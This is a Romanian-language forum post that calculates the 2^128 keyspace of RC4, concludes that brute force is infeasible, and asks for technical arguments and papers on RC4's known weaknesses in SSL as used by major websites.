Ce parere aveti? Fiind pe 128 de biti avem: 4 mld * 4 mld * 4 mld * 4 mld de chei. Adica un numar cu 36 de cifre. [340.282.366.920.938.463.463.374.607.431.768.211.456] Pare destul de greu sa incerci atatea combinatii, chiar si pentru milioane de procesoare/GPU. Sa presupunem ca putem sparge 2^64 [18.446.744.073.709.551.616], adica 18 miliarde de miliarde de chei pe secunda. Raman insa tot atatea secunde de crackuit... Deci un atac bruteforce, matematic, pica. Insa exista mai multe atacuri: https://en.wikipedia.org/wiki/RC4#Security Ma intereseaza in mod special pentru SSL. Google, Facebook, Twitter si probabil multe altele folosesc SSL cu RC4 pe 128 de biti, despre care, in ziua de azi, se zice ca e slab/foarte slab. Voi ce parere aveti? As dori niste argumente tehnice. Daca veniti si cu niste paper-uri e perfect.